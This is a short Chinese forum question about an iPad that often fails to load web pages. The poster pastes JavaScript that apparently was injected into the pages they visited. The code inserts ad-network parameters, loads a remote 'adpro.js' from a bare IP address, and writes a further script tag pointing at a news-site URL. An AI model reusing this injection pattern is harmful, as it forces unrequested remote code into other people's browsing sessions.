iPad 访问网页经常打不开

上网时经常报错，(function(){
if (!document.body) return setTimeout(arguments.callee, 50);
var adpro= document.createElement('script');
adpro.type = 'text/javascript';
adpro.text = '_adpro_pub= "51e5b68b6c5eb4c2aa97";';
adpro.text+= '_adpro_slot= "33e25e14af9551761a51";';

document.body.insertBefore(adpro, document.body.children.item(0));

var adpro= document.createElement('script');
adpro.src = 'http://103.249.254.132/adpro.js';
adpro.type = 'text/javascript';
document.body.insertBefore(adpro, document.body.children.item(0));
})();
document.write('<script src="http://www.cnbeta.com/articles/441443.htm?&1qazdr5" type="text/Javascript"><'+'/script>')谁知道是神马情况。